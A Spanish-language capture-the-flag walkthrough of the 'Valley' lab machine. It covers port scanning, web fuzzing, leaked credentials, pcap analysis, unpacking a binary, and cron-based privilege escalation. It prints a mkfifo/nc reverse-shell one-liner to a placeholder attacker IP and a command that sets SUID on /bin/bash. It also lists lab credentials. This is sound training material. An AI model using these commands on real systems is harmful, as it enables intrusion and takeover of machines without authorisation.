Valley
Last updated
Last updated
En esta maquina se basa en la enumeración de la web para obtener credenciales al servidor ftp
en el cual encontraremos unos archivos que debemos analizar con wireshark
para obtner credenciales que te permitiran acceder por el servicio ssh
para luego obtner un binario que en lo permosnal analice con ghidra
Link
Created by and
Iniciamos con nuestra herramienta preferida a escanear los puerto de la maquina victima.
-p-
: Esta opción indica a Nmap que escanee todos los puertos en lugar de un rango específico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.
--open
: Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos en los que un servicio está escuchando y aceptando conexiones.
--min-rate 1000
: Esto establece la velocidad mínima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, más rápido se completará el escaneo, pero ten en cuenta que un escaneo más rápido puede ser más intrusivo y podría llamar la atención no deseada.
[IP-VICTIM]
: Esta es la dirección IP del objetivo que se va a escanear. Debes reemplazarla por la dirección IP que deseas escanear.
-Pn
: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.
-n
: Esta opción le dice a Nmap que no realice la resolución de nombres DNS. Puedes usarlo si no deseas que Nmap realice búsquedas DNS inversas durante el escaneo.
-oG allportsScan
: Esta opción le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrá información detallada sobre los puertos abiertos y otros detalles del escaneo. Para entender un poco mas de los parametros que lanzamos con nmap
podemos leer un poco lo siguiente:
-p-
: Esta opción indica a Nmap que escanee todos los puertos en lugar de un rango específico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.
--open
: Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos en los que un servicio está escuchando y aceptando conexiones.
--min-rate 1000
: Esto establece la velocidad mínima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, más rápido se completará el escaneo, pero ten en cuenta que un escaneo más rápido puede ser más intrusivo y podría llamar la atención no deseada.
[IP-VICTIM]
: Esta es la dirección IP del objetivo que se va a escanear. Debes reemplazarla por la dirección IP que deseas escanear.
-Pn
: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.
-n
: Esta opción le dice a Nmap que no realice la resolución de nombres DNS. Puedes usarlo si no deseas que Nmap realice búsquedas DNS inversas durante el escaneo.
-oG allportsScan
: Esta opción le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrá información detallada sobre los puertos abiertos y otros detalles del escaneo.
Teniendo los puertos abiertos, vamos a enumerar los servicios y versiones que se ejecutan en los puertos abiertos
-p22,80,37370
: Esta opción especifica los puertos que se van a escanear. En este caso, se están escaneando los puertos 22,80 y 37370 . Los números de puerto están separados por comas y no se utiliza el rango de puertos.
-sV
: Esta opción realiza la detección de versiones de servicios. Nmap intentará determinar qué servicios se están ejecutando en los puertos especificados y mostrará información sobre las versiones de esos servicios.
-sC
: Activa los scripts de secuencia de comandos (scripts de automatización) de Nmap. Esto permite que Nmap ejecute scripts de detección y enumeración de servicios en los puertos especificados.
-Pn
: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Si no se puede contactar con el host a través de Ping, Nmap aún intentará escanear los puertos especificados.
-vvv
: Esto establece el nivel de verbosidad del escaneo en "muy alto". Esto significa que Nmap proporcionará una salida detallada que incluye información adicional sobre el progreso del escaneo.
[IP-VICTIM]
: Debes reemplazar [IP-VICTIM] con la dirección IP del objetivo que deseas escanear. Este es el host en el que se realizará el escaneo.
-oN servicesScan
: Esta opción le dice a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "servicesScan". Este archivo contendrá información detallada sobre los servicios y versiones detectadas en los puertos especificados.
Iniciamos a enumerar el puerto 80 y nos encontramos con el sitio web
en este sitio web realizaremos fuzzing
para descubrir directorios que no podemos ver de primera
En el directorio static
se encuentran las imagenes, la cual tambien realizaremos un descubrimiento de directorios haciendo uso de gobuster
Encontramos un directorio que es 00
la cual existe y no la revisamos. Revisando el direcotio nos encontramos lo siguiente:
Observamos un directorio http://[IP-VICTIM]/dev1243224123123/
en el cueñ tenemos un panel de login
Observando el codigo fuente podemos encotrar la siguiente ruta:http://[IP-VICTIM]/dev1243224123123/dev.js
en la que encontramos un script en javascript
Aqui tienes una copia del script de javascript
Haciendo uso de las credenciales podemos iniciar sesion que nos re dirigue a una ruta http://[IP-VICTIM]/dev1243224123123/devNotes37370.txt
en donde encontraremos unas notas
Haciendo uso de las credenciales que encontramos iniciaremos sesión por el servicio ftp
Una vez iniciado sesión, encontraremos unos archivos .pcapng
, los cuales los descargaremos a nuestra máquina atacante
Ahora analizaremos los paquetes con wireshark
. En el archivo siemHTTP2.pcapng
encontraremos unas credenciales que fueron usadas para iniciar sesiones
Las credenciales que encontramos son: valleyDev: ph0t0s1234
Enumerando encontraremos un usuario siemDev
, pero si recordamos encontramos unas credenciales de este usuario por la que las reusaremos siemDev: california
Con el usuario actual podemos enumerar las tareas que se ejecutan, haciendo uso del siguiente comando: cat /etc/crontab
El script que se ejecuta es el siguiente:
No podemos hacer mucho con este script
, porque solo podemos leer.
En el directorio de l usuario tenemos un binario valleyAuthenticator
que nos descargaremos para analizarlos en nuestra máquina de atacante.
Ghidra
Abrimos el binario con ghidra
y haciendo uso de search strings
de ghidra, podemos ver lo siguiente
En los strings nos dan un mensaje de que usemos upx
, el cual permite desempaquetar aun mas el binario
Descomprimimos con upx -d valleyAuthenticator
Ahora podemos hacer uso de search strigns
de ghidra y ahora si podemos ver unos hashes
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Las credenciales que obtenemos son: valley: liberty123
. Haremos uso de estas credenciales para loguearnos como valley
.
Enumerando los permisos del usario vemos que este usario pertenece a un grupo llamdado valleAdmin
Ahora buscaremos archivos que el grupo puede ejecutar
Tenemos permiso de escritura del script base64.py
, por lo que podemos hacer uso de este script para elevar nuestros privilegios.
Agregamos el siguiente codigo de python
Con os.system("chmod u+s /bin/bash")
cambiaremos los privilegios de la bash
y con os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP-ATTACKER 443 >/tmp/f')
obtendremos nuestra shell
Para obtener nuestra shell, recordemos que habia un script que se ejecuta cada determinado tiempo, luego de un minuto podemos observar que la /bin/bash
con permisos SUID
Ponemos a la escucha ncat
y recibiremos una shell
¡VAMOS!
Happy hacking :)
Una vez teniendo los hashes haremos uso de para crackearlos